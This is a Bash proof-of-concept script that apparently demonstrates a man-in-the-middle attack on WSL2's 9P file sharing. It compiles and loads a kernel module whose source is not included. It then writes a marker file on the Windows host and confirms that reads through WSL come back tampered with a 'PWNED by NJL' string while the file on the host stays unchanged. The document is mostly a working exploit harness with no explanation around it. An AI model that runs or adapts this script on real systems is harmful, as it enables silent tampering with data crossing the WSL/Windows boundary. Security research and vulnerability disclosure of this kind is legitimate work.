55 lines
1.6 KiB
Bash
55 lines
1.6 KiB
Bash
#!/bin/bash
|
|
set -e
|
|
|
|
KVER=$(uname -r)
|
|
BUILD=/tmp/wsl2_poc_build
|
|
POC_DIR="$(cd "$(dirname "$0")" && pwd)"
|
|
|
|
WINUSER=$(cmd.exe /c "echo %USERNAME%" 2>/dev/null | tr -d '\r\n')
|
|
WINDRIVE=$(findmnt -n -o TARGET,SOURCE --type 9p 2>/dev/null | awk '$2=="drvfs" || $2=="C:\\" || $2=="C:" {print $1; exit}')
|
|
[ -z "$WINDRIVE" ] && WINDRIVE=$(findmnt -n -o TARGET --type 9p 2>/dev/null | grep -m1 '/mnt/')
|
|
[ -z "$WINDRIVE" ] && WINDRIVE=/mnt/c
|
|
TARGET="$WINDRIVE/Users/$WINUSER/wsl2_poc_target.txt"
|
|
|
|
ln -sf /usr/src/wsl-kernel-src /lib/modules/$KVER/build 2>/dev/null || true
|
|
|
|
rm -rf $BUILD && mkdir -p $BUILD
|
|
cp "$POC_DIR/main.c" $BUILD/
|
|
cp "$POC_DIR/Makefile" $BUILD/
|
|
|
|
cd $BUILD && make 2>&1 | grep -E 'error:|warning:|main\.ko' || true
|
|
|
|
[ -f $BUILD/main.ko ] || { echo "[FAIL] build failed"; exit 1; }
|
|
echo "[+] main.ko built"
|
|
|
|
lsmod | grep -q '^main ' && rmmod main 2>/dev/null || true
|
|
|
|
printf 'this line is before\nWSL2_9P_MITM_TARGET\nthis line is after\n' > "$TARGET"
|
|
echo 3 > /proc/sys/vm/drop_caches
|
|
|
|
echo "[*] file written to Windows host: $TARGET"
|
|
echo "[*] real content:"
|
|
powershell.exe -Command "Get-Content '$TARGET'" 2>/dev/null || strings "$TARGET"
|
|
|
|
insmod $BUILD/main.ko
|
|
echo "[+] module loaded"
|
|
|
|
echo ""
|
|
echo "[*] reading same file through WSL2 drvfs (9P):"
|
|
RESULT=$(cat "$TARGET")
|
|
echo "$RESULT"
|
|
|
|
echo ""
|
|
echo "=== verify ==="
|
|
if echo "$RESULT" | grep -q 'PWNED by NJL'; then
|
|
echo "[CONFIRMED] in-flight 9P read patched — host file unchanged, WSL read tampered"
|
|
dmesg | grep '\[poc\]' | tail -3
|
|
else
|
|
echo "[FAIL] patch not applied"
|
|
dmesg | grep '\[poc\]' | tail -10
|
|
fi
|
|
|
|
rmmod main
|
|
echo "[+] module unloaded"
|
|
rm -f "$TARGET"
|